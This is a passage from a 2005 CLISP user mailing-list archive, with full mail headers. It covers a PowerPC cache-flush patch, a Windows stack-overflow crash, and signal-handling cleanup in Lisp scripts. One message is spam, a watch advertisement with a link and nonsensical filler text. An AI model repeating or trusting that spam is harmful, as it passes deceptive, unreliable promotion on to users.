":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 13:03:35 2005 X-Original-Date: Wed, 12 Oct 2005 22:01:53 +0200 Pascal Bourguignon writes: > Sam Steingold writes: > > > * Pascal Bourguignon [2005-08-31 07:20:46 +0200]: > > > > > > I don't know if it's supposed to work or not on MacOSX 10.3.9 with a > > > ppc750 processor, but it doesn't (therefore FFI isn't built into > > > clisp-2.35 on MacOSX). I think the problem comes from the fact that in cache-rs6000.c, each asm declaration contains two asm instructions separated by a semicolon, which must be taken for a comment by gcc-3.3 and gcc-4.0. The existing code: [pjb@triton trampoline_r]$ otool -t -v cache-rs6000-macos.o cache-rs6000-macos.o: (__TEXT,__text) section ___TR_clear_cache: 00000000 icbi 0,r3 00000004 addi r0,r3,0x4 00000008 icbi 0,r0 0000000c addi r9,r3,0x8 00000010 icbi 0,r9 00000014 addi r0,r3,0xc 00000018 icbi 0,r0 0000001c addi r9,r3,0x10 00000020 icbi 0,r9 00000024 addi r0,r3,0x14 00000028 icbi 0,r0 0000002c addi r9,r3,0x18 00000030 icbi 0,r9 00000034 addi r0,r3,0x1c 00000038 icbi 0,r0 0000003c addi r3,r3,0x20 00000040 icbi 0,r3 00000044 sync 00000048 blr [pjb@triton trampoline_r]$ With this cache-rs6000.c file, test1 and test2 succeed on ppc750 (and still work on ppc7450): ------------------------------------------------------------------------ /* Instruction cache flushing for rs6000, not on AIX */ /* * Copyright 1997-1999 Bruno Haible, * * This is free software distributed under the GNU General Public Licence * described in the file COPYING. Contact the author if you don't have this * or can't live with it. There is ABSOLUTELY NO WARRANTY, explicit or implied, * on this software. */ void __TR_clear_cache (char* first_addr) { /* Taken from egcs-1.1.2/gcc/config/rs6000/tramp.asm. */ /* With gcc-3.3 and gcc-4.0 on ppc750, the normal cache-rs6000.c doesn't work. When we otool -t -v test1, we can see that the dcbf and isync instructions are missing. I guess the semicolon is taken as comment start by gcc. The same occurs in ppc7450, but it seems to be working altogether, perhaps because the data cache works differently. Here is therefore a version that works both on ppc750 /gcc and ppc7540 / gcc. */ /* (dotimes (i 9) (insert (format "asm volatile (\"icbi 0,%%0\" : : \"r\" (first_addr+%d));\n" (* 4 i))) (insert (format "asm volatile (\"dcbf 0,%%0\" : : \"r\" (first_addr+%d));\n" (* 4 i)))) */ /* Instruction cache flushing for ppc750 / gcc */ asm volatile ("icbi 0,%0" : : "r" (first_addr+0)); asm volatile ("dcbf 0,%0" : : "r" (first_addr+0)); asm volatile ("icbi 0,%0" : : "r" (first_addr+4)); asm volatile ("dcbf 0,%0" : : "r" (first_addr+4)); asm volatile ("icbi 0,%0" : : "r" (first_addr+8)); asm volatile ("dcbf 0,%0" : : "r" (first_addr+8)); asm volatile ("icbi 0,%0" : : "r" (first_addr+12)); asm volatile ("dcbf 0,%0" : : "r" (first_addr+12)); asm volatile ("icbi 0,%0" : : "r" (first_addr+16)); asm volatile ("dcbf 0,%0" : : "r" (first_addr+16)); asm volatile ("icbi 0,%0" : : "r" (first_addr+20)); asm volatile ("dcbf 0,%0" : : "r" (first_addr+20)); asm volatile ("icbi 0,%0" : : "r" (first_addr+24)); asm volatile ("dcbf 0,%0" : : "r" (first_addr+24)); asm volatile ("icbi 0,%0" : : "r" (first_addr+28)); asm volatile ("dcbf 0,%0" : : "r" (first_addr+28)); asm volatile ("icbi 0,%0" : : "r" (first_addr+32)); asm volatile ("dcbf 0,%0" : : "r" (first_addr+32)); asm volatile ("sync"); asm volatile ("isync"); } ------------------------------------------------------------------------ I've not tested FFI yet, only that trampoline_r/test1 and trampoline_r/test2 do succeed on both processors. So now, I can compile clisp with FFI on my iBook G3: [pjb@triton clisp]$ /usr/local/bin/clisp --version GNU CLISP 2.35 (2005-08-29) (built 3338131488) (memory 3338132671) Software: GNU C 3.3 20030304 (Apple Computer, Inc. build 1495) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none libcharset.a libavcall.a libcallback.a -lncurses -liconv -lsigsegv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 libiconv 1.9 Features: (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER UNIX MACOS) C Modules: (clisp i18n syscalls regexp) Installation directory: /usr/local/languages/clisp-2.35/lib/clisp/ User language: ENGLISH Machine: POWER MACINTOSH (POWER MACINTOSH) triton.local [192.168.0.64] [pjb@triton clisp]$ cd /tmp [pjb@triton tmp]$ ./cs & p=$! [1] 28275 [pjb@triton tmp]$ kill $p Exiting on signal 15 Clean-up! [1]+ Done ./cs [pjb@triton tmp]$ -- __Pascal Bourguignon__ http://www.informatimago.com/ You never feed me. Perhaps I'll sleep on your face. That will sure show you. From tkb@tkb.mpl.com Wed Oct 12 13:57:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPnfb-0001nB-Ny for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 13:57:51 -0700 Received: from tkb.mpl.com ([64.181.9.74]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EPnfa-0008V2-Hu for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 13:57:52 -0700 Received: from tkb.mpl.com (tkb.mpl.com [64.181.9.74]) by tkb.mpl.com (8.13.1/8.13.1) with ESMTP id j9CKvjim099442; Wed, 12 Oct 2005 16:57:45 -0400 (EDT) (envelope-from tkb@tkb.mpl.com) From: "T. Kurt Bond" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17229.30921.125299.431196@tkb.mpl.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.19 under Emacs 21.3.1 X-Greylist: Sender DNS name whitelisted, not delayed by milter-greylist-2.0 (tkb.mpl.com [64.181.9.74]); Wed, 12 Oct 2005 16:57:46 -0400 (EDT) X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] clisp-2.35 on Windows XP dies with SIGSEGV on stack overflow... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 13:58:49 2005 X-Original-Date: Wed, 12 Oct 2005 16:57:44 -0400 This is the version from clisp-2.35-win32-no-pg.zip, running on Windows XP C:\sw\versions\clisp-bin\clisp-2.35> clisp -norc -q [1]> (lisp-implementation-version) "2.35 (2005-08-29) (built on winsteingoldlap.ad.alphatech.com [10.41.52.182])" [2]> (defun x () (x)) X [3]> (x) *** - Program stack overflow. RESET *** - handle_fault error2 ! address = 0xfffffffc not in [0x5ad06410,0x5ad70000) ! SIGSEGV cannot be cured. Fault address = 0xfffffffc. Permanently allocated: 89024 bytes. Currently in use: 1749208 bytes. Free space: 514412 bytes. C:\sw\versions\clisp-bin\clisp-2.35>.\clisp.exe --version GNU CLISP 2.35 (2005-08-29) (built on winsteingoldlap.ad.alphatech.com [10.41.5 .182]) Software: GNU C 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none libcharset.a libavcall.a libcal back.a -lncurses -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib igsegv-mingw/lib -lsigsegv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TR VIALMAP_MEMORY libsigsegv 2.2 Features: (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32) C Modules: (clisp i18n syscalls regexp) Installation directory: C:\sw\versions\clisp-bin\clisp-2.35\ User language: ENGLISH Machine: PC/386 (PC/686) kbond [192.168.111.100] The same thing happens with a locally compiled version build from CVS pulled today, and my locally built libsigsegv-2.2 has a sigsegv.h that has both HAVE_SIGSEGV_RECOVERY and HAVE_STACK_OVERFLOW_RECOVERY defined. Is this expected? -- T. Kurt Bond, tkb@tkb.mpl.com From pjb@informatimago.com Wed Oct 12 15:24:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPp1X-0007Ll-6V for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 15:24:35 -0700 Received: from larissa.informatimago.com ([62.93.174.78]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPp1U-0002Rf-2v for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 15:24:35 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 36BEF5833D; Thu, 13 Oct 2005 00:23:38 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 97596582FA; Thu, 13 Oct 2005 00:22:30 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3C2A310F9F6; Thu, 13 Oct 2005 00:22:30 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17229.36006.179998.35200@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: A script receiving a signal doesn't execute cleanup forms! In-Reply-To: References: <20051011044258.8864110F9F6@thalassa.informatimago.com> <17229.16723.601116.73881@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_BRACKET_OPEN BODY: Text interparsed with [ 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 15:26:08 2005 X-Original-Date: Thu, 13 Oct 2005 00:22:30 +0200 Sam Steingold writes: > > * Pascal Bourguignon [2005-10-12 19:01:07 +0200]: > > > > On Linux 2.4.26/ix86, since the lisp script will write output, it suspends > > itself until it gets back the terminal. > > > > On MacOSX 10.3.9/ppc7450, it works as I wanted. > > > > (in both cases, thru a ssh session, if that matter for the terminal handling). > > Perhaps the difference comes from the presence of absence of readline? > > maybe - please try rebuilding --without-readline. Well, it seems this is not the difference. [pjb@thalassa tmp]$ /usr/local/languages/clisp-2.35-woreadline/bin/clisp --version GNU CLISP 2.35 (2005-08-29) (built 3338139234) (memory 3338139704) Software: GNU C 3.3 20030226 (prerelease) (SuSE Linux) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_READLINE -I. -x none libcharset.a libavcall.a libcallback.a -lncurses -ldl -lsigsegv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 Features: (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp) Installation directory: /usr/local/languages/clisp-2.35-woreadline/lib/clisp/ User language: ENGLISH Machine: I686 (I686) thalassa.informatimago.com [62.93.174.79] [pjb@thalassa tmp]$ /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60) (format t "Clean-up!") (finish-output))' & p=$! > > [1] 15706 [pjb@thalassa tmp]$ kill $p [1]+ Stopped /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60) (format t "Clean-up!") (finish-output))' [pjb@thalassa tmp]$ fg /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60) (format t "Clean-up!") (finish-output))' Exiting on signal 15 Clean-up! [pjb@thalassa tmp]$ /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60) (format t "Clean-up!") (finish-output) (ext:quit))' & p=$! > > [1] 15809 [pjb@thalassa tmp]$ kill $p [1]+ Stopped /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60) (format t "Clean-up!") (finish-output) (ext:quit))' [pjb@thalassa tmp]$ fg /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60) (format t "Clean-up!") (finish-output) (ext:quit))' Exiting on signal 15 Clean-up! [pjb@thalassa tmp]$ cat cs #!/bin/bash cat > test.lisp < test.lisp <&1 | head -20 Exiting on signal 3 Clean-up! [pjb@thalassa tmp]$ il [pjb@thalassa tmp]$ *** - UNIX error 5 (EIO): I/O error Clean-up! *** - UNIX error 5 (EIO): I/O error [1]> *** - UNIX error 5 (EIO): I/O error [3]> *** - UNIX error 5 (EIO): I/O error [5]> *** - UNIX error 5 (EIO): I/O error [7]> *** - UNIX error 5 (EIO): I/O error [9]> *** - UNIX error 5 (EIO): I/O error ... -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From cate@safe-mail.net Wed Oct 12 15:30:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPp7B-0007lD-RV; Wed, 12 Oct 2005 15:30:25 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EPp7A-0002uA-Ep; Wed, 12 Oct 2005 15:30:25 -0700 Received: from [59.32.223.232] (helo=safe-mail.net) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1EPMxU-0002IS-5F; Tue, 11 Oct 2005 09:26:33 -0700 Message-ID: <00CF96E9.6CF96D3@safe-mail.net> Reply-To: "isaias pillitteri" From: "isaias pillitteri" User-Agent: AspMail 4.0 4.03 (SMT470603F) MIME-Version: 1.0 To: "seymour knopp" Cc: , , , , , , , Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 DATE_IN_PAST_24_48 Date: is 24 to 48 hours before Received: date 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Every person will understand you have MADE IT Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 15:31:23 2005 X-Original-Date: Mon, 10 Oct 2005 22:20:36 +0800 Our web page is beloved amongst wristwatch fans globally. Get in touch with some stylish timepieces! Browse here for the hottest watches on the web! Our timepieces are the best made and at the most competitive rates you can bump into! You merit the best timepiece! For your viewing pleasure look at our a wide selection of watches. With excellent administration and a money back promise, our internet site is the best option. Track the whereabouts of your shipment with our internet-based monitoring service system. http://uk.geocities.com/isaac_dushane/?sky=ba m: may i take slatternly preundertaken two simious suitcases with me? would not abandon it. she looked monachate at a silver lamnoid candelabra that had ten branches, rib-sticking the provident benjamin of skateboard the tale. From olsson@pi.cs.ucdavis.edu Wed Oct 12 15:38:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPpF9-0008It-Jz for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 15:38:39 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EPpF8-0004pS-4P for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 15:38:39 -0700 Received: from [169.237.6.6] (helo=baton.cs.ucdavis.edu) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1ELSf3-0004Y5-A9 for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 14:43:26 -0700 Received: from pi.cs.ucdavis.edu (pi.cs.ucdavis.edu [169.237.6.50]) by baton.cs.ucdavis.edu (8.13.3/8.13.3) with ESMTP id j8ULdNT2020204 for ; Fri, 30 Sep 2005 14:39:23 -0700 (PDT) Received: from pi.cs.ucdavis.edu (localhost.localdomain [127.0.0.1]) by pi.cs.ucdavis.edu (8.12.11/8.12.10) with ESMTP id j8ULdNhB026086 for ; Fri, 30 Sep 2005 14:39:23 -0700 Received: (from olsson@localhost) by pi.cs.ucdavis.edu (8.12.11/8.12.11/Submit) id j8ULdNUO026082; Fri, 30 Sep 2005 14:39:23 -0700 Message-Id: <200509302139.j8ULdNUO026082@pi.cs.ucdavis.edu> To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Thu, 29 Sep 2005 18:27:39 -0400) Subject: [clisp-list] Re: behavior of -x that uses a dribble in clisp-2.33.2 vs. in clisp-2.35 From: olsson@cs.ucdavis.edu (Ron Olsson) References: <200509162210.j8GMA30a019201@pi.cs.ucdavis.edu> X-Scanned-By: MIMEDefang 2.52 on 169.237.6.6 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 15:40:17 2005 X-Original-Date: Fri, 30 Sep 2005 14:39:23 -0700 From: Sam Steingold Date: Thu, 29 Sep 2005 18:27:39 -0400 > * Ron Olsson [2005-09-16 15:10:03 -0700]: > > dribble behaves differently between clisp-2.33.2 and clisp-2.35. that said, I think I restored the dribble behavior you wanted (it still won't work for scripts, but it will for -x) Great! I'll look for that in the next release. Thanks. From kavenchuk@jenty.by Thu Oct 13 00:41:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPxiD-0006vE-AA for clisp-list@lists.sourceforge.net; Thu, 13 Oct 2005 00:41:13 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPxiB-0002Aq-UL for clisp-list@lists.sourceforge.net; Thu, 13 Oct 2005 00:41:13 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5ASK; Thu, 13 Oct 2005 10:42:02 +0300 Message-ID: <434E0FE3.5090900@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 13 00:42:01 2005 X-Original-Date: Thu, 13 Oct 2005 10:42:27 +0300 Sam Steingold wrote: > typo > please try the appended patch instead. > (or just replace "-L/usr/local " with "-L/usr/local/lib " in configure) > excuse me, but IMHO patch is identical practically previous and $ grep L/usr/local src/configure has found nothing Thanks! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Thu Oct 13 03:00:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPzsz-0006SH-V8 for clisp-list@lists.sourceforge.net; Thu, 13 Oct 2005 03:00:29 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPzsy-00035i-KC for clisp-list@lists.sourceforge.net; Thu, 13 Oct 2005 03:00:30 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5A9D; Thu, 13 Oct 2005 13:01:23 +0300 Message-ID: <434E308B.1060207@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 13 03:02:17 2005 X-Original-Date: Thu, 13 Oct 2005 13:01:47 +0300 Sam Steingold wrote: > typo > please try the appended patch instead. > (or just replace "-L/usr/local " with "-L/usr/local/lib " in configure) if termcap library move from /usr/local to / - clisp is build if my problem has low priority - it can be left But I continue debug it with pleasure. Thanks! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Thu Oct 13 03:51:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EQ0fs-0000OK-7h for clisp-list@lists.sourceforge.net; Thu, 13 Oct 2005 03:51:00 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EQ0fq-0007tg-Ok for clisp-list@lists.sourceforge.net; Thu, 13 Oct 2005 03:51:00 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5BBG; Thu, 13 Oct 2005 13:51:15 +0300 Message-ID: <434E3C3A.6060100@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: readline interface References: <434E308B.1060207@jenty.by> In-Reply-To: <434E308B.1060207@jenty.by> Content-Type: 